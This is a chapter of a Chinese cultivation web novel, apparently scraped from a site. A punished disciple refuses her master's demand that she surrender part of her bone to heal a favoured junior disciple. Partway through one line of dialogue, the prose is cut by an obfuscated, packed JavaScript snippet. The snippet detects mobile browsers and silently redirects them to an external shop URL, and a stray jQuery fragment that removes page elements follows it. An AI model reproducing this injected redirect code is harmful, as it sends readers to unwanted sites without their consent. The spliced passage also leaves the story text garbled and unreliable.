寒狱没有日升月落,江照夜只能用水滴计算时辰。
第一千三百六十七滴水落下时,石门外传来沉稳脚步。不是严执事的急促,也不是苏问夏刻意放轻的迟疑。来人每一步都踏在石阶正中,间隔分毫不差,像照雪宗晨钟暮鼓一般,二十余年从未改变。
江照夜不必睁眼便知道是谁。
石门开启,裴玄岐独自走进寒狱。
他没有穿戒律堂上的宗主法袍,只着一身深灰常服,发间也未戴玉冠。鲛灯照亮他鬓边新添的几缕白发,使他看起来不像掌一宗生死的化神剑修,反倒像从前那个在惊鸿院外守着徒弟练剑的师父。
严执事躬身跟在后面。
“打开镇灵阵。”裴玄岐吩咐道。
严执事迟疑:“宗主,她金丹虽碎,毕竟仍有——”
“有我在。”裴玄岐平静说道。
严执事不敢再劝,掐诀关闭寒玉台。幽蓝阵纹依次熄灭,扎在江照夜经脉里的寒意暂时退去。骤然恢复的血流带来比冰冻更尖锐的疼,她手指轻颤,却仍没有睁眼。
裴玄岐在寒玉台旁站了一会儿,亲手打开带来的食盒。
热气在冰窟里升起。
是白粥、两碟清淡小菜,还有一盘桂花糖糕。江照夜小时候畏寒,每次受罚后便吃不下东西,裴玄岐总让膳堂蒸这种糖糕,说甜味能把心口的寒气赶出去。
香气如此熟悉,连她空了数日的胃都本能抽痛。
“照夜,”裴玄岐唤道,“起来吃些东西。”
江照夜睁开眼:“宗主来寒狱,就是为了送一盘糖糕?”
裴玄岐的手顿住。
“你从前受了委屈,总要为师哄许久才肯叫人。”裴玄岐叹息道,“如今连师父也不愿叫了?”
他的话里没有怒意,只有疲惫与伤怀。若在几日前,江照夜或许会因这一声叹息开始反省自己是否太过锋利。
她曾习惯替裴玄岐寻找理由。
师父事务繁重,所以忘记询问妖丹去向;师父爱护幼徒,所以偶尔偏袒柳含烟;师父站在宗门的位置上,所以不能只顾她的委屈。
她替他解释得太久,几乎忘了一个道理:他也可以选择亲口解释。
“戒律堂上,是宗主亲口废我首徒之位。”江照夜说道,“弟子不敢乱了尊卑。”
裴玄岐沉默片刻,把糖糕向她推近:“你还在怨为师。”
“宗主觉得我不该怨?”江照夜问道。
“验心镜显出的画面,满堂都看见了。”裴玄岐回答,“为师身为宗主,不能因你是我一手养大的弟子便罔顾宗门法度。将你囚入寒狱,是为了给众人交代,也是为了隔绝仙剑残念,保住你的心智。”
“所以我该感激?”江照夜问道。
“为师不是要你感激。”裴玄岐皱眉,“照夜,你为何非要曲解我的意思?”
冰窟深处传来一声水滴。
江照夜忽然想笑。原来当一个人不再主动替旁人补全善意,曾经温情脉脉的话便会露出骨架。
裴玄岐既要惩罚她,又要她相信惩罚是保护;既要取她的骨,又要她主动成全,免去执刀者的愧疚。
“我的根骨,宗主准备何时取?”江照夜直接问道。
裴玄岐神色微变:“为师今日正要与你谈此事。”
“那便谈吧。”江照夜说道。
裴玄岐在寒玉台边坐下。他没有居高临下,甚至亲手盛了一碗粥,仿佛他们只是师徒之间发生了一场寻常争执。
“含烟体内的残念比预计更凶险。”裴玄岐说道,“医师试过护魂芝,药力无法进入识海。九转凝神丹也只能暂时压制。你的根骨与落星秘境中的仙剑同属剑性,以一截根骨洗髓,是目前最稳妥的办法。”
“本命灵露呢?”江照夜问道。
裴玄岐看着她:“你仍觉得为师舍不得十年修为?”
“宗主可以证明我想错了。”江照夜回答。
裴玄岐的眉目冷下来:“大劫将至,照雪宗不能失去一名化神。十年修为关系宗门数千弟子安危,并非为师一人之物。”
“我的根骨却只是我一人之物,所以可以取。”江照夜说道。
“你为何一定要这样计算?”裴玄岐问道,“为师养育你二十三年,传你剑法,给你宗门最好的资源。你十五岁筑基、十九岁结丹,哪一步没有照雪宗托举?如今宗门只需你付出一截可以再生的根骨,你便要同为师算得这样清楚?”
师恩终于被摆上桌面。
它从那些真实存在过的温暖里被取出来,称斤论两,变成催债的砝码。
江照夜看见裴玄岐身后浮出一座金色山影。山上刻着养育、传法、资源、庇护,每个字都沉重得足以压弯人的背脊。
“师父养我,所以我的骨头属于师父?”江照夜第一次重新叫出那个称呼,却不是服软,而是把问题送到他面前。
裴玄岐立即说道:“为师从未这样说。”
“那我拒绝。”江照夜回答。
“含烟会死。”裴玄岐提醒她。
“你可以用本命灵露。”江照夜说道。
“宗门可能因此失去庇护。”裴玄岐回答。
“那便是你的选择。”江照夜说道,“你选择保住十年修为
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17929892|213611||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,柳含烟可能会死;我选择保住自己的根骨,她也可能会死。为何只有我的选择叫作冷酷,你的选择却叫顾全大局?”
裴玄岐脸上的温和终于一点点退去。
食盒中的白粥结起薄冰,糖糕香气也淡了。冰壁上,他与江照夜的影子隔着寒玉台遥遥相对,再没有半分师徒促膝长谈的模样。
“因为你有错在先。”裴玄岐沉声说道,“若不是你在秘境争夺仙剑,含烟不会被残念侵蚀。你救她,是偿还自己的因果。”
“验心镜已经答错过我的记忆。”江照夜说道,“你仍要拿它定罪?”
“一段无关紧要的旧事出错,不能推翻天命判词。”裴玄岐回答。
“若出错的是柳含烟先碰剑的画面呢?”江照夜问道。
“照夜!”裴玄岐厉声说道,“你到现在还在污蔑她。”
他的威压无意间溢出,寒狱顶部冰柱同时震动。细碎冰屑落在食盒上,白粥与糖糕顷刻覆上一层霜。
江照夜看着那盘糖糕,忽然想起一件事。
她十五岁生辰那日,裴玄岐送她的不是兵器,也不是秘籍,而是一把惊鸿院的钥匙。师父说,从那日起她有了真正属于自己的住处,无论受什么委屈,都可以回去关上门歇一歇。
被天命抹去的记忆猝然归来,连同当时钥匙落入掌心的重量。
江照夜几乎本能地摸向腰间。那里早已空无一物。
钥匙多半仍在惊鸿院,也可能已被交给柳含烟。
“师父,”江照夜轻声问道,“惊鸿院如今住着谁?”
裴玄岐的神色出现极短暂的空白。
“那本就是含烟的住处。”裴玄岐回答,“她入门后一直住在那里。你在首徒峰另有洞府,何必问这个?”
连他也不记得了。
江照夜没有再争辩。她看着眼前这个曾给予自己一个“归处”的人,终于明白那座山为何如此沉重——山上每一份恩情都可以被改写,只有要求偿还时永远清晰。
“我不会自愿取骨。”江照夜说道,“师父若一定要救柳含烟,便亲自下令,亲自执刀。不要再问我愿不愿意。”
裴玄岐站起身。
“你会想明白的。”裴玄岐恢复了宗主的平静,“为师给你三日。”
他走出寒狱,没有带走食盒。
石门重新关闭后,灰耳从暗处钻出来,嗅了嗅糖糕,却没有吃。它对着门外龇牙片刻,又把一枚松子推到江照夜手边。
江照夜望着结冰的白粥。
三日不是给她考虑的时间。
是他们替执刀寻找心安的期限。